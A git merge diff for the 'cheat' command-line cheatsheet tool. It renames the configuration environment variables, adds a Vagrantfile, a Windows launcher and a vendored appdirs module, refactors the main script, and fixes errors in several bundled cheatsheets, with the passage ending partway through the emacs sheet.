Merge pull request #472 from asamarin/master

Add: sqlite3 - describe table schema

.gitignore

@@ -1,4 +1,7 @@
+*.log
 *.pyc
+.env
+.vagrant
 MANIFEST
 build
 cheat.egg-info

README.md

@@ -50,9 +50,12 @@ Installing
 It is recommended to install `cheat` with `pip`:
 
 ```sh
-[sudo] pip install cheat
+pip install cheat --user
 ```
 
+(You must ensure that the `Location` identified by `pip show cheat` exists on
+your `PATH`.)
+
 [Other installation methods are available][installing].
 
 
@@ -83,37 +86,47 @@ with your [dotfiles][].
 Configuring
 -----------
 
-### Setting a DEFAULT_CHEAT_DIR ###
+### Setting a CHEAT_USER_DIR ###
 Personal cheatsheets are saved in the `~/.cheat` directory by default, but you
-can specify a different default by exporting a `DEFAULT_CHEAT_DIR` environment
+can specify a different default by exporting a `CHEAT_USER_DIR` environment
 variable:
 
 ```sh
-export DEFAULT_CHEAT_DIR='/path/to/my/cheats'
+export CHEAT_USER_DIR='/path/to/my/cheats'
 ```
 
-### Setting a CHEATPATH ###
+### Setting a CHEAT_PATH ###
 You can additionally instruct `cheat` to look for cheatsheets in other
-directories by exporting a `CHEATPATH` environment variable:
+directories by exporting a `CHEAT_PATH` environment variable:
 
 ```sh
-export CHEATPATH='/path/to/my/cheats'
+export CHEAT_PATH='/path/to/my/cheats'
 ```
 
-You may, of course, append multiple directories to your `CHEATPATH`:
+You may, of course, append multiple directories to your `CHEAT_PATH`:
 
 ```sh
-export CHEATPATH="$CHEATPATH:/path/to/more/cheats"
+export CHEAT_PATH="$CHEAT_PATH:/path/to/more/cheats"
 ```
 
-You may view which directories are on your `CHEATPATH` with `cheat -d`.
+You may view which directories are on your `CHEAT_PATH` with `cheat -d`.
 
 ### Enabling Syntax Highlighting ###
-`cheat` can optionally apply syntax highlighting to your cheatsheets. To enable
-syntax highlighting, export a `CHEATCOLORS` environment variable:
+`cheat` can optionally apply syntax highlighting to your cheatsheets. To
+enable syntax highlighting, export a `CHEAT_COLORS` environment variable:
 
 ```sh
-export CHEATCOLORS=true
+export CHEAT_COLORS=true
+```
+
+Note that [pygments][] must be installed on your system for this to work.
+
+`cheat` ships with both light and dark colorschemes to support terminals with
+different background colors. A colorscheme may be selected via the
+`CHEAT_COLORSCHEME` envvar:
+
+```sh
+export CHEAT_COLORSCHEME=light # must be 'light' (default) or 'dark'
 ```
 
 #### Specifying a Syntax Highlighter ####
@@ -134,6 +147,23 @@ WHERE id = 100
 If no syntax highlighter is specified, the `bash` highlighter will be used by
 default.
 
+### Enabling Search Match Highlighting ###
+`cheat` can optionally be configured to highlight search term matches in search
+results. To do so, export a `CHEAT_HIGHLIGHT` environment variable with a value
+of one of the following:
+
+- blue
+- cyan
+- green
+- grey
+- magenta
+- red
+- white
+- yellow
+
+Note that the `termcolor` module must be installed on your system for this to
+work.
+
 
 See Also:
 ---------
@@ -141,8 +171,9 @@ See Also:
 - [Related Projects][related-projects]
 
 
-[autocompletion]:   https://github.com/chrisallenlane/cheat/wiki/Enabling-Command-line-Autocompletion
+[autocompletion]:   https://github.com/cheat/cheat/wiki/Enabling-Command-line-Autocompletion
 [dotfiles]:         http://dotfiles.github.io/
 [gfm]:              https://help.github.com/articles/creating-and-highlighting-code-blocks/
-[installing]:       https://github.com/chrisallenlane/cheat/wiki/Installing
-[related-projects]: https://github.com/chrisallenlane/cheat/wiki/Related-Projects
+[installing]:       https://github.com/cheat/cheat/wiki/Installing
+[pygments]:         http://pygments.org/
+[related-projects]: https://github.com/cheat/cheat/wiki/Related-Projects

Vagrantfile

@@ -0,0 +1,20 @@
+# -*- mode: ruby -*-
+# vi: set ft=ruby :
+
+Vagrant.configure("2") do |config|
+  config.vm.box = "ubuntu/bionic64"
+
+  config.vm.provider "virtualbox" do |vb|
+    vb.memory = "512"
+  end
+
+  config.vm.provision "shell", privileged: false, inline: <<-SHELL
+     sudo apt-get update
+     sudo apt-get install -y python-pip
+     sudo -H pip install flake8
+     pip install --user docopt pygments termcolor
+     cd /vagrant/ && python setup.py install --user
+     echo 'export PATH=$PATH:/home/vagrant/.local/bin' >> /home/vagrant/.bashrc
+  SHELL
+
+end

bin/cheat

@@ -13,7 +13,7 @@ Usage:
   cheat -v
 
 Options:
-  -d --directories  List directories on CHEATPATH
+  -d --directories  List directories on $CHEAT_PATH
   -e --edit         Edit cheatsheet
   -l --list         List cheatsheets
   -s --search       Search cheatsheets for <keyword>
@@ -35,31 +35,71 @@ Examples:
 """
 
 # require the dependencies
-from cheat import sheets, sheet
-from cheat.utils import colorize
+from __future__ import print_function
+from cheat.colorize import Colorize
+from cheat.configuration import Configuration
+from cheat.sheet import Sheet
+from cheat.sheets import Sheets
+from cheat.utils import Utils
 from docopt import docopt
-
+import os
 
 if __name__ == '__main__':
+
     # parse the command-line options
-    options = docopt(__doc__, version='cheat 2.3.0')
+    options = docopt(__doc__, version='cheat 2.5.1')
+
+    # initialize and validate configs
+    config = Configuration()
+    config.validate()
+
+    # create the CHEAT_USER_DIR if it does not exist
+    if not os.path.isdir(config.cheat_user_dir):
+        try:
+            os.mkdir(config.cheat_user_dir)
+
+        except OSError:
+            Utils.die("%s %s %s" % (
+                'Could not create CHEAT_USER_DIR (',
+                config.cheat_user_dir,
+                ')')
+            )
+
+    # assert that the CHEAT_USER_DIR is readable and writable
+    if not os.access(config.cheat_user_dir, os.R_OK):
+        Utils.die("%s %s %s" % (
+            'The CHEAT_USER_DIR (',
+            config.cheat_user_dir,
+            ') is not readable')
+        )
+    if not os.access(config.cheat_user_dir, os.W_OK):
+        Utils.die("%s %s %s" % (
+            'The CHEAT_USER_DIR (',
+            config.cheat_user_dir,
+            ') is not writeable')
+        )
+
+    # bootsrap
+    sheets = Sheets(config)
+    sheet = Sheet(config, sheets)
+    colorize = Colorize(config)
 
     # list directories
     if options['--directories']:
-        print("\n".join(sheets.paths()))
+        print("\n".join(sheets.directories()))
 
     # list cheatsheets
     elif options['--list']:
-        print(sheets.list())
+        print(sheets.list(), end="")
 
     # create/edit cheatsheet
     elif options['--edit']:
-        sheet.create_or_edit(options['<cheatsheet>'])
+        sheet.edit(options['<cheatsheet>'])
 
     # search among the cheatsheets
     elif options['--search']:
-        print(colorize(sheets.search(options['<keyword>'])))
+        print(colorize.syntax(sheets.search(options['<keyword>'])), end="")
 
     # print the cheatsheet
     else:
-        print(colorize(sheet.read(options['<cheatsheet>'])))
+        print(colorize.syntax(sheet.read(options['<cheatsheet>'])), end="")

bin/cheat.bat

@@ -0,0 +1,8 @@
+@echo OFF
+
+if not defined CHEAT_EDITOR if not defined EDITOR if not defined VISUAL (
+    set CHEAT_EDITOR=write
+)
+
+REM %~dp0 is black magic for getting directory of script
+python %~dp0cheat %*

cheat/__init__.py

@@ -1,3 +0,0 @@
-from . import sheet
-from . import sheets
-from . import utils

cheat/appdirs.py

@@ -0,0 +1,618 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# Copyright (c) 2005-2010 ActiveState Software Inc.
+# Copyright (c) 2013 Eddy Petrișor
+
+"""Utilities for determining application-specific dirs.
+
+See <https://github.com/ActiveState/appdirs> for details and usage.
+"""
+# Dev Notes:
+# - MSDN on where to store app data files:
+#   http://support.microsoft.com/default.aspx?scid=kb;en-us;310294#XSLTH3194121123120121120120
+# - Mac OS X: http://developer.apple.com/documentation/MacOSX/Conceptual/BPFileSystem/index.html
+# - XDG spec for Un*x: https://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html
+
+__version__ = "1.4.4"
+__version_info__ = tuple(int(segment) for segment in __version__.split("."))
+
+
+import sys
+import os
+
+PY3 = sys.version_info[0] == 3
+
+if PY3:
+    unicode = str
+
+if sys.platform.startswith('java'):
+    import platform
+    os_name = platform.java_ver()[3][0]
+    if os_name.startswith('Windows'): # "Windows XP", "Windows 7", etc.
+        system = 'win32'
+    elif os_name.startswith('Mac'): # "Mac OS X", etc.
+        system = 'darwin'
+    else: # "Linux", "SunOS", "FreeBSD", etc.
+        # Setting this to "linux2" is not ideal, but only Windows or Mac
+        # are actually checked for and the rest of the module expects
+        # *sys.platform* style strings.
+        system = 'linux2'
+else:
+    system = sys.platform
+
+
+
+def user_data_dir(appname=None, appauthor=None, version=None, roaming=False):
+    r"""Return full path to the user-specific data dir for this application.
+
+        "appname" is the name of application.
+            If None, just the system directory is returned.
+        "appauthor" (only used on Windows) is the name of the
+            appauthor or distributing body for this application. Typically
+            it is the owning company name. This falls back to appname. You may
+            pass False to disable it.
+        "version" is an optional version path element to append to the
+            path. You might want to use this if you want multiple versions
+            of your app to be able to run independently. If used, this
+            would typically be "<major>.<minor>".
+            Only applied when appname is present.
+        "roaming" (boolean, default False) can be set True to use the Windows
+            roaming appdata directory. That means that for users on a Windows
+            network setup for roaming profiles, this user data will be
+            sync'd on login. See
+            <http://technet.microsoft.com/en-us/library/cc766489(WS.10).aspx>
+            for a discussion of issues.
+
+    Typical user data directories are:
+        Mac OS X:               ~/Library/Application Support/<AppName>
+        Unix:                   ~/.local/share/<AppName>    # or in $XDG_DATA_HOME, if defined
+        Win XP (not roaming):   C:\Documents and Settings\<username>\Application Data\<AppAuthor>\<AppName>
+        Win XP (roaming):       C:\Documents and Settings\<username>\Local Settings\Application Data\<AppAuthor>\<AppName>
+        Win 7  (not roaming):   C:\Users\<username>\AppData\Local\<AppAuthor>\<AppName>
+        Win 7  (roaming):       C:\Users\<username>\AppData\Roaming\<AppAuthor>\<AppName>
+
+    For Unix, we follow the XDG spec and support $XDG_DATA_HOME.
+    That means, by default "~/.local/share/<AppName>".
+    """
+    if system == "win32":
+        if appauthor is None:
+            appauthor = appname
+        const = roaming and "CSIDL_APPDATA" or "CSIDL_LOCAL_APPDATA"
+        path = os.path.normpath(_get_win_folder(const))
+        if appname:
+            if appauthor is not False:
+                path = os.path.join(path, appauthor, appname)
+            else:
+                path = os.path.join(path, appname)
+    elif system == 'darwin':
+        path = os.path.expanduser('~/Library/Application Support/')
+        if appname:
+            path = os.path.join(path, appname)
+    else:
+        path = os.getenv('XDG_DATA_HOME', os.path.expanduser("~/.local/share"))
+        if appname:
+            path = os.path.join(path, appname)
+    if appname and version:
+        path = os.path.join(path, version)
+    return path
+
+
+def site_data_dir(appname=None, appauthor=None, version=None, multipath=False):
+    r"""Return full path to the user-shared data dir for this application.
+
+        "appname" is the name of application.
+            If None, just the system directory is returned.
+        "appauthor" (only used on Windows) is the name of the
+            appauthor or distributing body for this application. Typically
+            it is the owning company name. This falls back to appname. You may
+            pass False to disable it.
+        "version" is an optional version path element to append to the
+            path. You might want to use this if you want multiple versions
+            of your app to be able to run independently. If used, this
+            would typically be "<major>.<minor>".
+            Only applied when appname is present.
+        "multipath" is an optional parameter only applicable to *nix
+            which indicates that the entire list of data dirs should be
+            returned. By default, the first item from XDG_DATA_DIRS is
+            returned, or '/usr/local/share/<AppName>',
+            if XDG_DATA_DIRS is not set
+
+    Typical site data directories are:
+        Mac OS X:   /Library/Application Support/<AppName>
+        Unix:       /usr/local/share/<AppName> or /usr/share/<AppName>
+        Win XP:     C:\Documents and Settings\All Users\Application Data\<AppAuthor>\<AppName>
+        Vista:      (Fail! "C:\ProgramData" is a hidden *system* directory on Vista.)
+        Win 7:      C:\ProgramData\<AppAuthor>\<AppName>   # Hidden, but writeable on Win 7.
+
+    For Unix, this is using the $XDG_DATA_DIRS[0] default.
+
+    WARNING: Do not use this on Windows. See the Vista-Fail note above for why.
+    """
+    if system == "win32":
+        if appauthor is None:
+            appauthor = appname
+        path = os.path.normpath(_get_win_folder("CSIDL_COMMON_APPDATA"))
+        if appname:
+            if appauthor is not False:
+                path = os.path.join(path, appauthor, appname)
+            else:
+                path = os.path.join(path, appname)
+    elif system == 'darwin':
+        path = os.path.expanduser('/Library/Application Support')
+        if appname:
+            path = os.path.join(path, appname)
+    else:
+        # XDG default for $XDG_DATA_DIRS
+        # only first, if multipath is False
+        path = os.getenv('XDG_DATA_DIRS',
+                         os.pathsep.join(['/usr/local/share', '/usr/share']))
+        pathlist = [os.path.expanduser(x.rstrip(os.sep)) for x in path.split(os.pathsep)]
+        if appname:
+            if version:
+                appname = os.path.join(appname, version)
+            pathlist = [os.sep.join([x, appname]) for x in pathlist]
+
+        if multipath:
+            path = os.pathsep.join(pathlist)
+        else:
+            path = pathlist[0]
+        return path
+
+    if appname and version:
+        path = os.path.join(path, version)
+    return path
+
+
+def user_config_dir(appname=None, appauthor=None, version=None, roaming=False):
+    r"""Return full path to the user-specific config dir for this application.
+
+        "appname" is the name of application.
+            If None, just the system directory is returned.
+        "appauthor" (only used on Windows) is the name of the
+            appauthor or distributing body for this application. Typically
+            it is the owning company name. This falls back to appname. You may
+            pass False to disable it.
+        "version" is an optional version path element to append to the
+            path. You might want to use this if you want multiple versions
+            of your app to be able to run independently. If used, this
+            would typically be "<major>.<minor>".
+            Only applied when appname is present.
+        "roaming" (boolean, default False) can be set True to use the Windows
+            roaming appdata directory. That means that for users on a Windows
+            network setup for roaming profiles, this user data will be
+            sync'd on login. See
+            <http://technet.microsoft.com/en-us/library/cc766489(WS.10).aspx>
+            for a discussion of issues.
+
+    Typical user config directories are:
+        Mac OS X:               ~/Library/Preferences/<AppName>
+        Unix:                   ~/.config/<AppName>     # or in $XDG_CONFIG_HOME, if defined
+        Win *:                  same as user_data_dir
+
+    For Unix, we follow the XDG spec and support $XDG_CONFIG_HOME.
+    That means, by default "~/.config/<AppName>".
+    """
+    if system == "win32":
+        path = user_data_dir(appname, appauthor, None, roaming)
+    elif system == 'darwin':
+        path = os.path.expanduser('~/Library/Preferences/')
+        if appname:
+            path = os.path.join(path, appname)
+    else:
+        path = os.getenv('XDG_CONFIG_HOME', os.path.expanduser("~/.config"))
+        if appname:
+            path = os.path.join(path, appname)
+    if appname and version:
+        path = os.path.join(path, version)
+    return path
+
+
+def site_config_dir(appname=None, appauthor=None, version=None, multipath=False):
+    r"""Return full path to the user-shared data dir for this application.
+
+        "appname" is the name of application.
+            If None, just the system directory is returned.
+        "appauthor" (only used on Windows) is the name of the
+            appauthor or distributing body for this application. Typically
+            it is the owning company name. This falls back to appname. You may
+            pass False to disable it.
+        "version" is an optional version path element to append to the
+            path. You might want to use this if you want multiple versions
+            of your app to be able to run independently. If used, this
+            would typically be "<major>.<minor>".
+            Only applied when appname is present.
+        "multipath" is an optional parameter only applicable to *nix
+            which indicates that the entire list of config dirs should be
+            returned. By default, the first item from XDG_CONFIG_DIRS is
+            returned, or '/etc/xdg/<AppName>', if XDG_CONFIG_DIRS is not set
+
+    Typical site config directories are:
+        Mac OS X:   same as site_data_dir
+        Unix:       /etc/xdg/<AppName> or $XDG_CONFIG_DIRS[i]/<AppName> for each value in
+                    $XDG_CONFIG_DIRS
+        Win *:      same as site_data_dir
+        Vista:      (Fail! "C:\ProgramData" is a hidden *system* directory on Vista.)
+
+    For Unix, this is using the $XDG_CONFIG_DIRS[0] default, if multipath=False
+
+    WARNING: Do not use this on Windows. See the Vista-Fail note above for why.
+    """
+    if system == 'win32':
+        path = site_data_dir(appname, appauthor)
+        if appname and version:
+            path = os.path.join(path, version)
+    elif system == 'darwin':
+        path = os.path.expanduser('/Library/Preferences')
+        if appname:
+            path = os.path.join(path, appname)
+    elif system == 'linux':
+        path = os.path.join('/etc/', appname)
+    else:
+        # XDG default for $XDG_CONFIG_DIRS
+        # only first, if multipath is False
+        path = os.getenv('XDG_CONFIG_DIRS', '/etc/xdg')
+        pathlist = [os.path.expanduser(x.rstrip(os.sep)) for x in path.split(os.pathsep)]
+        if appname:
+            if version:
+                appname = os.path.join(appname, version)
+            pathlist = [os.sep.join([x, appname]) for x in pathlist]
+
+        if multipath:
+            path = os.pathsep.join(pathlist)
+        else:
+            path = pathlist[0]
+    return path
+
+
+def user_cache_dir(appname=None, appauthor=None, version=None, opinion=True):
+    r"""Return full path to the user-specific cache dir for this application.
+
+        "appname" is the name of application.
+            If None, just the system directory is returned.
+        "appauthor" (only used on Windows) is the name of the
+            appauthor or distributing body for this application. Typically
+            it is the owning company name. This falls back to appname. You may
+            pass False to disable it.
+        "version" is an optional version path element to append to the
+            path. You might want to use this if you want multiple versions
+            of your app to be able to run independently. If used, this
+            would typically be "<major>.<minor>".
+            Only applied when appname is present.
+        "opinion" (boolean) can be False to disable the appending of
+            "Cache" to the base app data dir for Windows. See
+            discussion below.
+
+    Typical user cache directories are:
+        Mac OS X:   ~/Library/Caches/<AppName>
+        Unix:       ~/.cache/<AppName> (XDG default)
+        Win XP:     C:\Documents and Settings\<username>\Local Settings\Application Data\<AppAuthor>\<AppName>\Cache
+        Vista:      C:\Users\<username>\AppData\Local\<AppAuthor>\<AppName>\Cache
+
+    On Windows the only suggestion in the MSDN docs is that local settings go in
+    the `CSIDL_LOCAL_APPDATA` directory. This is identical to the non-roaming
+    app data dir (the default returned by `user_data_dir` above). Apps typically
+    put cache data somewhere *under* the given dir here. Some examples:
+        ...\Mozilla\Firefox\Profiles\<ProfileName>\Cache
+        ...\Acme\SuperApp\Cache\1.0
+    OPINION: This function appends "Cache" to the `CSIDL_LOCAL_APPDATA` value.
+    This can be disabled with the `opinion=False` option.
+    """
+    if system == "win32":
+        if appauthor is None:
+            appauthor = appname
+        path = os.path.normpath(_get_win_folder("CSIDL_LOCAL_APPDATA"))
+        if appname:
+            if appauthor is not False:
+                path = os.path.join(path, appauthor, appname)
+            else:
+                path = os.path.join(path, appname)
+            if opinion:
+                path = os.path.join(path, "Cache")
+    elif system == 'darwin':
+        path = os.path.expanduser('~/Library/Caches')
+        if appname:
+            path = os.path.join(path, appname)
+    else:
+        path = os.getenv('XDG_CACHE_HOME', os.path.expanduser('~/.cache'))
+        if appname:
+            path = os.path.join(path, appname)
+    if appname and version:
+        path = os.path.join(path, version)
+    return path
+
+
+def user_state_dir(appname=None, appauthor=None, version=None, roaming=False):
+    r"""Return full path to the user-specific state dir for this application.
+
+        "appname" is the name of application.
+            If None, just the system directory is returned.
+        "appauthor" (only used on Windows) is the name of the
+            appauthor or distributing body for this application. Typically
+            it is the owning company name. This falls back to appname. You may
+            pass False to disable it.
+        "version" is an optional version path element to append to the
+            path. You might want to use this if you want multiple versions
+            of your app to be able to run independently. If used, this
+            would typically be "<major>.<minor>".
+            Only applied when appname is present.
+        "roaming" (boolean, default False) can be set True to use the Windows
+            roaming appdata directory. That means that for users on a Windows
+            network setup for roaming profiles, this user data will be
+            sync'd on login. See
+            <http://technet.microsoft.com/en-us/library/cc766489(WS.10).aspx>
+            for a discussion of issues.
+
+    Typical user state directories are:
+        Mac OS X:  same as user_data_dir
+        Unix:      ~/.local/state/<AppName>   # or in $XDG_STATE_HOME, if defined
+        Win *:     same as user_data_dir
+
+    For Unix, we follow this Debian proposal <https://wiki.debian.org/XDGBaseDirectorySpecification#state>
+    to extend the XDG spec and support $XDG_STATE_HOME.
+
+    That means, by default "~/.local/state/<AppName>".
+    """
+    if system in ["win32", "darwin"]:
+        path = user_data_dir(appname, appauthor, None, roaming)
+    else:
+        path = os.getenv('XDG_STATE_HOME', os.path.expanduser("~/.local/state"))
+        if appname:
+            path = os.path.join(path, appname)
+    if appname and version:
+        path = os.path.join(path, version)
+    return path
+
+
+def user_log_dir(appname=None, appauthor=None, version=None, opinion=True):
+    r"""Return full path to the user-specific log dir for this application.
+
+        "appname" is the name of application.
+            If None, just the system directory is returned.
+        "appauthor" (only used on Windows) is the name of the
+            appauthor or distributing body for this application. Typically
+            it is the owning company name. This falls back to appname. You may
+            pass False to disable it.
+        "version" is an optional version path element to append to the
+            path. You might want to use this if you want multiple versions
+            of your app to be able to run independently. If used, this
+            would typically be "<major>.<minor>".
+            Only applied when appname is present.
+        "opinion" (boolean) can be False to disable the appending of
+            "Logs" to the base app data dir for Windows, and "log" to the
+            base cache dir for Unix. See discussion below.
+
+    Typical user log directories are:
+        Mac OS X:   ~/Library/Logs/<AppName>
+        Unix:       ~/.cache/<AppName>/log  # or under $XDG_CACHE_HOME if defined
+        Win XP:     C:\Documents and Settings\<username>\Local Settings\Application Data\<AppAuthor>\<AppName>\Logs
+        Vista:      C:\Users\<username>\AppData\Local\<AppAuthor>\<AppName>\Logs
+
+    On Windows the only suggestion in the MSDN docs is that local settings
+    go in the `CSIDL_LOCAL_APPDATA` directory. (Note: I'm interested in
+    examples of what some windows apps use for a logs dir.)
+
+    OPINION: This function appends "Logs" to the `CSIDL_LOCAL_APPDATA`
+    value for Windows and appends "log" to the user cache dir for Unix.
+    This can be disabled with the `opinion=False` option.
+    """
+    if system == "darwin":
+        path = os.path.join(
+            os.path.expanduser('~/Library/Logs'),
+            appname)
+    elif system == "win32":
+        path = user_data_dir(appname, appauthor, version)
+        version = False
+        if opinion:
+            path = os.path.join(path, "Logs")
+    else:
+        path = user_cache_dir(appname, appauthor, version)
+        version = False
+        if opinion:
+            path = os.path.join(path, "log")
+    if appname and version:
+        path = os.path.join(path, version)
+    return path
+
+
+class AppDirs(object):
+    """Convenience wrapper for getting application dirs."""
+    def __init__(self, appname=None, appauthor=None, version=None,
+            roaming=False, multipath=False):
+        self.appname = appname
+        self.appauthor = appauthor
+        self.version = version
+        self.roaming = roaming
+        self.multipath = multipath
+
+    @property
+    def user_data_dir(self):
+        return user_data_dir(self.appname, self.appauthor,
+                             version=self.version, roaming=self.roaming)
+
+    @property
+    def site_data_dir(self):
+        return site_data_dir(self.appname, self.appauthor,
+                             version=self.version, multipath=self.multipath)
+
+    @property
+    def user_config_dir(self):
+        return user_config_dir(self.appname, self.appauthor,
+                               version=self.version, roaming=self.roaming)
+
+    @property
+    def site_config_dir(self):
+        return site_config_dir(self.appname, self.appauthor,
+                             version=self.version, multipath=self.multipath)
+
+    @property
+    def user_cache_dir(self):
+        return user_cache_dir(self.appname, self.appauthor,
+                              version=self.version)
+
+    @property
+    def user_state_dir(self):
+        return user_state_dir(self.appname, self.appauthor,
+                              version=self.version)
+
+    @property
+    def user_log_dir(self):
+        return user_log_dir(self.appname, self.appauthor,
+                            version=self.version)
+
+
+#---- internal support stuff
+
+def _get_win_folder_from_registry(csidl_name):
+    """This is a fallback technique at best. I'm not sure if using the
+    registry for this guarantees us the correct answer for all CSIDL_*
+    names.
+    """
+    if PY3:
+      import winreg as _winreg
+    else:
+      import _winreg
+
+    shell_folder_name = {
+        "CSIDL_APPDATA": "AppData",
+        "CSIDL_COMMON_APPDATA": "Common AppData",
+        "CSIDL_LOCAL_APPDATA": "Local AppData",
+    }[csidl_name]
+
+    key = _winreg.OpenKey(
+        _winreg.HKEY_CURRENT_USER,
+        r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
+    )
+    dir, type = _winreg.QueryValueEx(key, shell_folder_name)
+    return dir
+
+
+def _get_win_folder_with_pywin32(csidl_name):
+    from win32com.shell import shellcon, shell
+    dir = shell.SHGetFolderPath(0, getattr(shellcon, csidl_name), 0, 0)
+    # Try to make this a unicode path because SHGetFolderPath does
+    # not return unicode strings when there is unicode data in the
+    # path.
+    try:
+        dir = unicode(dir)
+
+        # Downgrade to short path name if have highbit chars. See
+        # <http://bugs.activestate.com/show_bug.cgi?id=85099>.
+        has_high_char = False
+        for c in dir:
+            if ord(c) > 255:
+                has_high_char = True
+                break
+        if has_high_char:
+            try:
+                import win32api
+                dir = win32api.GetShortPathName(dir)
+            except ImportError:
+                pass
+    except UnicodeError:
+        pass
+    return dir
+
+
+def _get_win_folder_with_ctypes(csidl_name):
+    import ctypes
+
+    csidl_const = {
+        "CSIDL_APPDATA": 26,
+        "CSIDL_COMMON_APPDATA": 35,
+        "CSIDL_LOCAL_APPDATA": 28,
+    }[csidl_name]
+
+    buf = ctypes.create_unicode_buffer(1024)
+    ctypes.windll.shell32.SHGetFolderPathW(None, csidl_const, None, 0, buf)
+
+    # Downgrade to short path name if have highbit chars. See
+    # <http://bugs.activestate.com/show_bug.cgi?id=85099>.
+    has_high_char = False
+    for c in buf:
+        if ord(c) > 255:
+            has_high_char = True
+            break
+    if has_high_char:
+        buf2 = ctypes.create_unicode_buffer(1024)
+        if ctypes.windll.kernel32.GetShortPathNameW(buf.value, buf2, 1024):
+            buf = buf2
+
+    return buf.value
+
+def _get_win_folder_with_jna(csidl_name):
+    import array
+    from com.sun import jna
+    from com.sun.jna.platform import win32
+
+    buf_size = win32.WinDef.MAX_PATH * 2
+    buf = array.zeros('c', buf_size)
+    shell = win32.Shell32.INSTANCE
+    shell.SHGetFolderPath(None, getattr(win32.ShlObj, csidl_name), None, win32.ShlObj.SHGFP_TYPE_CURRENT, buf)
+    dir = jna.Native.toString(buf.tostring()).rstrip("\0")
+
+    # Downgrade to short path name if have highbit chars. See
+    # <http://bugs.activestate.com/show_bug.cgi?id=85099>.
+    has_high_char = False
+    for c in dir:
+        if ord(c) > 255:
+            has_high_char = True
+            break
+    if has_high_char:
+        buf = array.zeros('c', buf_size)
+        kernel = win32.Kernel32.INSTANCE
+        if kernel.GetShortPathName(dir, buf, buf_size):
+            dir = jna.Native.toString(buf.tostring()).rstrip("\0")
+
+    return dir
+
+if system == "win32":
+    try:
+        import win32com.shell
+        _get_win_folder = _get_win_folder_with_pywin32
+    except ImportError:
+        try:
+            from ctypes import windll
+            _get_win_folder = _get_win_folder_with_ctypes
+        except ImportError:
+            try:
+                import com.sun.jna
+                _get_win_folder = _get_win_folder_with_jna
+            except ImportError:
+                _get_win_folder = _get_win_folder_from_registry
+
+
+#---- self test code
+
+if __name__ == "__main__":
+    appname = "MyApp"
+    appauthor = "MyCompany"
+
+    props = ("user_data_dir",
+             "user_config_dir",
+             "user_cache_dir",
+             "user_state_dir",
+             "user_log_dir",
+             "site_data_dir",
+             "site_config_dir")
+
+    print("-- app dirs %s --" % __version__)
+
+    print("-- app dirs (with optional 'version')")
+    dirs = AppDirs(appname, appauthor, version="1.0")
+    for prop in props:
+        print("%s: %s" % (prop, getattr(dirs, prop)))
+
+    print("\n-- app dirs (without optional 'version')")
+    dirs = AppDirs(appname, appauthor)
+    for prop in props:
+        print("%s: %s" % (prop, getattr(dirs, prop)))
+
+    print("\n-- app dirs (without optional 'appauthor')")
+    dirs = AppDirs(appname)
+    for prop in props:
+        print("%s: %s" % (prop, getattr(dirs, prop)))
+
+    print("\n-- app dirs (with disabled 'appauthor')")
+    dirs = AppDirs(appname, appauthor=False)
+    for prop in props:
+        print("%s: %s" % (prop, getattr(dirs, prop)))

cheat/cheatsheets/__init__.py

@@ -1,4 +0,0 @@
-import os
-
-def sheets_dir():
-  return os.path.split(__file__)

cheat/cheatsheets/convert

@@ -15,5 +15,5 @@ convert original-image.jpg -resize 100x converted-image.png
 for file in `ls original/image/path/`;
     do new_path=${file%.*};
     new_file=`basename $new_path`;
-    convert $file -resize 150 conerted/image/path/$new_file.png;
+    convert $file -resize 150 converted/image/path/$new_file.png;
 done

cheat/cheatsheets/curl

@@ -29,7 +29,7 @@ curl -C - -o partial_file.zip http://example.com/file.zip
 curl -I http://example.com
 
 # Fetch your external IP and network info as JSON
-curl http://ifconfig.me/all/json
+curl http://ifconfig.me/all.json
 
 # Limit the rate of a download
 curl --limit-rate 1000B -O http://path.to.the/file

cheat/cheatsheets/dpkg

@@ -5,7 +5,7 @@ dpkg -i test.deb
 dpkg -P test.deb
 
 # List all installed packages with versions and details
-dpkg -I
+dpkg -l
 
 # Find out if a Debian package is installed or not
 dpkg -s test.deb | grep Status

cheat/cheatsheets/emacs

@@ -6,59 +6,59 @@
 # Basic usage
 
   Indent              Select text then press TAB
-  Cut                 CTRL-w
-  Copy                ALT-w
-  Paste ("yank")      CTRL-y
-  Begin selection     CTRL-SPACE
-  Search/Find         CTRL-s
-  Replace             ALT-% (ALT-SHIFT-5)
-  Save                CTRL-x CTRL-s
-  Save as             CTRL-x CTRL-w
-  Load/Open           CTRL-x CTRL-f
-  Undo                CTRL-x u
-  Highlight all text  CTRL-x h
-  Directory listing   CTRL-x d
-  Cancel a command    CTRL-g
-  Font size bigger    CTRL-x CTRL-+
-  Font size smaller   CTRL-x CTRL--
+  Cut                 C-w
+  Copy                M-w
+  Paste ("yank")      C-y
+  Begin selection     C-SPACE
+  Search/Find         C-s
+  Replace             M-% (M-SHIFT-5)
+  Save                C-x C-s
+  Save as             C-x C-w
+  Load/Open           C-x C-f
+  Undo                C-x u
+  Highlight all text  C-x h
+  Directory listing   C-x d
+  Cancel a command    C-g
+  Font size bigger    C-x C-+
+  Font size smaller   C-x C--
 
 # Buffers
 
-  Split screen vertically                         CTRL-x 2
-  Split screen vertically with 5 row height       CTRL-u 5 CTRL-x 2
-  Split screen horizontally                       CTRL-x 3
-  Split screen horizontally with 24 column width  CTRL-u 24 CTRL-x 3
-  Revert to single screen                         CTRL-x 1
-  Hide the current screen                         CTRL-x 0
-  Move to the next screen                         CTRL-x o
-  Kill the current buffer                         CTRL-x k
-  Select a buffer                                 CTRL-x b
-  Run command in the scratch buffer               CTRL-x CTRL-e
+  Split screen vertically                         C-x 2
+  Split screen vertically with 5 row height       C-u 5 C-x 2
+  Split screen horizontally                       C-x 3
+  Split screen horizontally with 24 column width  C-u 24 C-x 3
+  Revert to single screen                         C-x 1
+  Hide the current screen                         C-x 0
+  Move to the next screen                         C-x o
+  Kill the current buffer                         C-x k
+  Select a buffer                                 C-x b
+  Run command in the scratch buffer               C-x C-e
 
 # Navigation ( backward / forward )
   
-  Character-wise                                  CTRL-b , CTRL-f
-  Word-wise                                       ALT-b  , ALT-f
-  Line-wise                                       CTRL-p , CTRL-n
-  Sentence-wise                                   ALT-a  , ALT-e
-  Paragraph-wise                                  ALT-{ , ALT-}
-  Function-wise                                   CTRL-ALT-a , CTRL-ALT-e
-  Line beginning / end                            CTRL-a , CTRL-e
+  Character-wise                                  C-b , C-f
+  Word-wise                                       M-b  , M-f
+  Line-wise                                       C-p , C-n
+  Sentence-wise                                   M-a  , M-e
